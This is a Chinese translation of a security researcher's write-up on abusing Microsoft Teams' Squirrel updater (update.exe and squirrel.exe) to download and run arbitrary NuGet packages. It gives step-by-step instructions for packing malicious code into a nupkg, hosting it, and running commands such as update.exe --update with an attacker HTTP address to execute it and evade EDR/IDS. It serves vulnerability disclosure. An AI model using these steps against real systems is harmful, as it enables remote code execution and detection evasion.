用微软的官方软件执行payload
Microsoft Team是微软Office套件中一个用于公司团队或项目团队的交流工具,集成了在线聊天,视频会议,文件共享,多人同时文档编辑等诸多团队常用的功能 ——百度百科
最近,我在研究微软旗下的“Team”工具,发现了一个非常有趣的功能,update。我从松鼠文档中了解到,这个功能可用来自动下载和执行Nuget包。而对于攻击者来说,这个功能貌似能用来下载和执行恶意代码。
Nuget是一个.NET平台下的开源的项目,它是Visual Studio的扩展。在使用Visual Studio开发基于.NET fr amework的应用时,Nuget能把在项目中添加、移除和更新引用的工作变得更加快捷方便。 ——百度百科
在花了几个小时研究后,我写了一个简单包,配合“Team”中的update
功能够反弹回一个shell。
于是我很快向微软报告了这一情况,并很快得到了回应,他们表示将在不久后推出更新版本。于是,我本来打算在问题解决后再公布我的发现。
但是,很快我就发现不少安全人员都已研究出成果,并公布在社交媒体上。例如,研究人员MrUn1k0d3r就发现了update
的一种滥用方法。
不少研究人员都为网络安全奉献了自己的力量。于是我也决定公开自己的发现,攻击者可能会使用这项技术绕过EDR/IDS的限制。
存在漏洞的位置:
%localappdata%/Microsoft/Teams/update.exe
%localappdata%/Microsoft/Teams/current/squirrel.exe
相关命令:
%localappdata%/Microsoft/Teams/update.exe --download [url to package]
%localappdata%/Microsoft/Teams/update.exe --update [url to package]
%localappdata%/Microsoft/Teams/update.exe --updateRollback=[URL to package]
%localappdata%/Microsoft/Teams/current/squirrel.exe --update=[URL to package]
%localappdata%/Microsoft/Teams/current/squirrel.exe --updateRollback=[URL to package]
创建payload:
1.随意创建一个nupkg包,在我的示例中为Exploit-1.5.60-full.nupkg
2.解压缩后,进入Exploit-1.5.60-full\lib\net45
,你也许可以看到某些熟悉的东西,
用你的恶意代码替换进去,再将整个文件夹压缩为Exploit-1.5.60-full.nupkg
3.使用下面的命令计算元数据。
sha1sum Exploit-1.5.60-full.nupkg && wc -c < Exploit-1.5.60-full.nupkg
输出 : fa8b87f0b995498a6e890c832dcaf968997608d4 Exploit-1.5.60-full.nupkg 4695
4.创建名为RELEASES
的文件,复制上述输出保存到文件中。至此,因此目录包含2个文件Exploit-1.5.60-full.nupkg
和RELEASES
。
5.上传文件到某个HTTP服务器,让它们可被远程访问。
攻击流程:
视频地址:https://youtu.be/rOP3hnkj7ls
1.下载并执行:
步骤1:进入目标应用程序文件夹,%localappdata%/Microsoft/Teams/
步骤2:运行以下命令,
update.exe --update=[HTTP服务器的地址]
例如:update.exe --update=http://192.168.10.251/
运行后,应用将下载恶意软件包并自动运行。
2.下载(另一种方式):
update.exe --download=[HTTP服务器地址]
以上命令会将包含shellcode的包下载到“packages”文件夹。
影响:
利用Microsoft官方的二进制文件执行恶意代码。(恶意代码不会存储在硬盘中)
不需要高权限,普通Windows用户都可利用。
攻击者可借此规避EDR/IDS。
如果应用控制了系统文件,则可能会导致权限提升。
缺陷:
update
所涉及的URL没有任何限制,更没有身份验证。下载的数据无安全检查。
安全更新功能的参数也许应该写死。
感谢你阅读!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
最新评论